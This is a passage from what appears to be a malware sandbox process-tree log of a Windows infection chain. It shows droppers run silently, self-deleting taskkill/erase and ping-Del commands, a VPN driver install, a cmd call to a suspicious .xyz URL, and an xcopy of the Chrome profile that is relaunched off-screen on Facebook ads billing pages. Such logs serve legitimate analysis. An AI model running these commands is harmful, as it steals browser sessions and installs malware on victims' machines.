                                                                                                                                                                                                                                                                                                                            xcopy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data" "C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\" /s /e /y
                                                                                                                                                                                                                                                                                                                            17⤵
                                                                                                                                                                                                                                                                                                                              PID:6740
                                                                                                                                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --window-position=-50000,-50000 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" https://www.facebook.com/ https://www.facebook.com/pages/ https://secure.facebook.com/ads/manager/account_settings/account_billing/
                                                                                                                                                                                                                                                                                                                              17⤵
                                                                                                                                                                                                                                                                                                                                PID:6672
                                                                                                                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xd4,0xd8,0xdc,0xb0,0xe0,0x7ff942db6e00,0x7ff942db6e10,0x7ff942db6e20
                                                                                                                                                                                                                                                                                                                                  18⤵
                                                                                                                                                                                                                                                                                                                                    PID:5960
                                                                                                                                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1596,11190745531578668329,1173186626461315422,131072 --lang=en-US --service-sandbox-type=network --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=1656 /prefetch:8
                                                                                                                                                                                                                                                                                                                                    18⤵
                                                                                                                                                                                                                                                                                                                                      PID:6168
                                                                                                                                                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1596,11190745531578668329,1173186626461315422,131072 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1608 /prefetch:2
                                                                                                                                                                                                                                                                                                                                      18⤵
                                                                                                                                                                                                                                                                                                                                        PID:7408
                                                                                                                                                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1596,11190745531578668329,1173186626461315422,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2784 /prefetch:1
                                                                                                                                                                                                                                                                                                                                        18⤵
                                                                                                                                                                                                                                                                                                                                          PID:7388
                                                                                                                                                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1596,11190745531578668329,1173186626461315422,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2776 /prefetch:1
                                                                                                                                                                                                                                                                                                                                          18⤵
                                                                                                                                                                                                                                                                                                                                            PID:3444
                                                                                                                                                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1596,11190745531578668329,1173186626461315422,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=2236 /prefetch:8
                                                                                                                                                                                                                                                                                                                                            18⤵
                                                                                                                                                                                                                                                                                                                                              PID:6568
                                                                                                                                                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1596,11190745531578668329,1173186626461315422,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3548 /prefetch:1
                                                                                                                                                                                                                                                                                                                                              18⤵
                                                                                                                                                                                                                                                                                                                                                PID:3912
                                                                                                                                                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1596,11190745531578668329,1173186626461315422,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3372 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                18⤵
                                                                                                                                                                                                                                                                                                                                                  PID:284
                                                                                                                                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1596,11190745531578668329,1173186626461315422,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3236 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                  18⤵
                                                                                                                                                                                                                                                                                                                                                    PID:5448
                                                                                                                                                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1596,11190745531578668329,1173186626461315422,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3844 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                    18⤵
                                                                                                                                                                                                                                                                                                                                                      PID:7340
                                                                                                                                                                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1596,11190745531578668329,1173186626461315422,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4760 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                      18⤵
                                                                                                                                                                                                                                                                                                                                                        PID:1504
                                                                                                                                                                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1596,11190745531578668329,1173186626461315422,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=828 /prefetch:8
                                                                                                                                                                                                                                                                                                                                                        18⤵
                                                                                                                                                                                                                                                                                                                                                          PID:8092
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\1wsiixxn.jm2\toolspab1.exe & exit
                                                                                                                                                                                                                                                                                                                                                    15⤵
                                                                                                                                                                                                                                                                                                                                                      PID:6160
                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\1wsiixxn.jm2\toolspab1.exe
                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\1wsiixxn.jm2\toolspab1.exe
                                                                                                                                                                                                                                                                                                                                                        16⤵
                                                                                                                                                                                                                                                                                                                                                          PID:2268
                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\1wsiixxn.jm2\toolspab1.exe
                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\1wsiixxn.jm2\toolspab1.exe
                                                                                                                                                                                                                                                                                                                                                            17⤵
                                                                                                                                                                                                                                                                                                                                                              PID:1280
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\b2gko5xu.hj3\GcleanerWW.exe /mixone & exit
                                                                                                                                                                                                                                                                                                                                                          15⤵
                                                                                                                                                                                                                                                                                                                                                            PID:7016
                                                                                                                                                                                                                                                                                                                                                  • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\2NpbIfzcz6Mh.exe
                                                                                                                                                                                                                                                                                                                                                    "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\2NpbIfzcz6Mh.exe"
                                                                                                                                                                                                                                                                                                                                                    11⤵
                                                                                                                                                                                                                                                                                                                                                      PID:4608
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                                                                                                                                                                        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                                                                                                                                                                        12⤵
                                                                                                                                                                                                                                                                                                                                                          PID:6500
                                                                                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\HookSetp.exe
                                                                                                                                                                                                                                                                                                                                                        "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\HookSetp.exe"
                                                                                                                                                                                                                                                                                                                                                        11⤵
                                                                                                                                                                                                                                                                                                                                                          PID:4908
                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\8160525.exe
                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\8160525.exe"
                                                                                                                                                                                                                                                                                                                                                            12⤵
                                                                                                                                                                                                                                                                                                                                                              PID:6320
                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\2863763.exe
                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\2863763.exe"
                                                                                                                                                                                                                                                                                                                                                              12⤵
                                                                                                                                                                                                                                                                                                                                                                PID:6332
                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\Windows Host\Windows Host.exe
                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\Windows Host\Windows Host.exe"
                                                                                                                                                                                                                                                                                                                                                                  13⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:6084
                                                                                                                                                                                                                                                                                                                                                              • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\Three.exe
                                                                                                                                                                                                                                                                                                                                                                "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\Three.exe"
                                                                                                                                                                                                                                                                                                                                                                11⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:3516
                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\5LEL6K6JMV\multitimer.exe
                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\5LEL6K6JMV\multitimer.exe" 0 306065bb10421b26.04333812 0 103
                                                                                                                                                                                                                                                                                                                                                                    12⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:6784
                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\5LEL6K6JMV\multitimer.exe
                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\5LEL6K6JMV\multitimer.exe" 1 3.1617946326.606fe6d6c5baf 103
                                                                                                                                                                                                                                                                                                                                                                        13⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:7384
                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\5LEL6K6JMV\multitimer.exe
                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\5LEL6K6JMV\multitimer.exe" 2 3.1617946326.606fe6d6c5baf
                                                                                                                                                                                                                                                                                                                                                                            14⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:4644
                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\kwsu5o3gp2i\fizjzbcv2b3.exe
                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\kwsu5o3gp2i\fizjzbcv2b3.exe" /ustwo INSTALL
                                                                                                                                                                                                                                                                                                                                                                                15⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:5280
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c taskkill /im "fizjzbcv2b3.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\kwsu5o3gp2i\fizjzbcv2b3.exe" & exit
                                                                                                                                                                                                                                                                                                                                                                                    16⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:7592
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                                                                                                        taskkill /im "fizjzbcv2b3.exe" /f
                                                                                                                                                                                                                                                                                                                                                                                        17⤵
                                                                                                                                                                                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                                                                        PID:396
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\nn0ovt4suhm\app.exe
                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\nn0ovt4suhm\app.exe" /8-23
                                                                                                                                                                                                                                                                                                                                                                                    15⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:4208
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\nn0ovt4suhm\app.exe
                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\nn0ovt4suhm\app.exe" /8-23
                                                                                                                                                                                                                                                                                                                                                                                        16⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:7512
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\a5hxo3lnhbe\Setup3310.exe
                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\a5hxo3lnhbe\Setup3310.exe" /Verysilent /subid=577
                                                                                                                                                                                                                                                                                                                                                                                        15⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:6916
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-OFEU0.tmp\Setup3310.tmp
                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-OFEU0.tmp\Setup3310.tmp" /SL5="$40592,138429,56832,C:\Users\Admin\AppData\Local\Temp\a5hxo3lnhbe\Setup3310.exe" /Verysilent /subid=577
                                                                                                                                                                                                                                                                                                                                                                                            16⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:8160
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-UJN7N.tmp\Setup.exe
                                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-UJN7N.tmp\Setup.exe" /Verysilent
                                                                                                                                                                                                                                                                                                                                                                                                17⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:6744
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\rig2kgk1nv1\vpn.exe
                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\rig2kgk1nv1\vpn.exe" /silent /subid=482
                                                                                                                                                                                                                                                                                                                                                                                              15⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:2968
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-F1KH0.tmp\vpn.tmp
                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-F1KH0.tmp\vpn.tmp" /SL5="$10658,15170975,270336,C:\Users\Admin\AppData\Local\Temp\rig2kgk1nv1\vpn.exe" /silent /subid=482
                                                                                                                                                                                                                                                                                                                                                                                                  16⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:3184
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7SVXZWZ2F6\setups.exe
                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\7SVXZWZ2F6\setups.exe" ll
                                                                                                                                                                                                                                                                                                                                                                                            12⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:7024
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-J54BJ.tmp\setups.tmp
                                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-J54BJ.tmp\setups.tmp" /SL5="$2056A,1845714,55808,C:\Users\Admin\AppData\Local\Temp\7SVXZWZ2F6\setups.exe" ll
                                                                                                                                                                                                                                                                                                                                                                                                13⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:7040
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\lom3tlxbnzf\bofg3xcexjd.exe
                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\lom3tlxbnzf\bofg3xcexjd.exe" /ustwo INSTALL
                                                                                                                                                                                                                                                                                                                                                                                        8⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:5264
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c taskkill /im "bofg3xcexjd.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\lom3tlxbnzf\bofg3xcexjd.exe" & exit
                                                                                                                                                                                                                                                                                                                                                                                            9⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:5736
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                                                                                                                taskkill /im "bofg3xcexjd.exe" /f
                                                                                                                                                                                                                                                                                                                                                                                                10⤵
                                                                                                                                                                                                                                                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                                                                                PID:5172
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\q4he0gi0yhn\KiffApp1.exe
                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\q4he0gi0yhn\KiffApp1.exe"
                                                                                                                                                                                                                                                                                                                                                                                            8⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:1280
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\icss32pmnar\app.exe
                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\icss32pmnar\app.exe" /8-23
                                                                                                                                                                                                                                                                                                                                                                                              8⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:416
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\icss32pmnar\app.exe
                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\icss32pmnar\app.exe" /8-23
                                                                                                                                                                                                                                                                                                                                                                                                  9⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:3400
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\u4tfou3brow\vpn.exe
                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\u4tfou3brow\vpn.exe" /silent /subid=482
                                                                                                                                                                                                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:5564
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-VNUS3.tmp\vpn.tmp
                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-VNUS3.tmp\vpn.tmp" /SL5="$303C8,15170975,270336,C:\Users\Admin\AppData\Local\Temp\u4tfou3brow\vpn.exe" /silent /subid=482
                                                                                                                                                                                                                                                                                                                                                                                                      9⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:2904
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "
                                                                                                                                                                                                                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:7824
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
                                                                                                                                                                                                                                                                                                                                                                                                              tapinstall.exe remove tap0901
                                                                                                                                                                                                                                                                                                                                                                                                              11⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:7280
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "
                                                                                                                                                                                                                                                                                                                                                                                                              10⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:6744
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  tapinstall.exe install OemVista.inf tap0901
                                                                                                                                                                                                                                                                                                                                                                                                                  11⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:7492
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Program Files (x86)\MaskVPN\mask_svc.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall
                                                                                                                                                                                                                                                                                                                                                                                                                  10⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:3816
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Program Files (x86)\MaskVPN\mask_svc.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Program Files (x86)\MaskVPN\mask_svc.exe" install
                                                                                                                                                                                                                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6308
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\lsqwuaakb33\IBInstaller_97039.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\lsqwuaakb33\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq
                                                                                                                                                                                                                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:3692
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-1E4L6.tmp\IBInstaller_97039.tmp
                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-1E4L6.tmp\IBInstaller_97039.tmp" /SL5="$10478,9971708,721408,C:\Users\Admin\AppData\Local\Temp\lsqwuaakb33\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq
                                                                                                                                                                                                                                                                                                                                                                                                                      9⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4268
                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                          "cmd.exe" /c start http://leatherclothesone.xyz/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=97039
                                                                                                                                                                                                                                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1092
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-G2S67.tmp\{app}\vdi_compiler.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-G2S67.tmp\{app}\vdi_compiler"
                                                                                                                                                                                                                                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5900
                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\s5rikyqh2cu\5sxftgsyej0.exe
                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\s5rikyqh2cu\5sxftgsyej0.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                          8⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:492
                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                              cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\s5rikyqh2cu\5sxftgsyej0.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                              9⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4584
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                  ping 1.1.1.1 -n 1 -w 3000
                                                                                                                                                                                                                                                                                                                                                                                                                                  10⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  • Runs ping.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5304
                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\newh12n0sov\f5fj4ruegev.exe
                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\newh12n0sov\f5fj4ruegev.exe" /quiet SILENT=1 AF=756
                                                                                                                                                                                                                                                                                                                                                                                                                              8⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2996
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Weather\Weather 1.0.0\install\FD7DF1F\Weather Installation.msi" /quiet SILENT=1 AF=756 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\newh12n0sov\f5fj4ruegev.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\newh12n0sov\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1617687165 /quiet SILENT=1 AF=756 " AF="756" AI_CONTROL_VISUAL_STYLE="16578540;16578540;14988840;12422912"
                                                                                                                                                                                                                                                                                                                                                                                                                                  9⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:7608
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\NBOE5STI7O\setups.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\NBOE5STI7O\setups.exe" ll
                                                                                                                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2332
                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-2N77P.tmp\setups.tmp
                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\is-2N77P.tmp\setups.tmp" /SL5="$302B0,1845714,55808,C:\Users\Admin\AppData\Local\Temp\NBOE5STI7O\setups.exe" ll
                                                                                                                                                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                                                              • Checks computer location settings
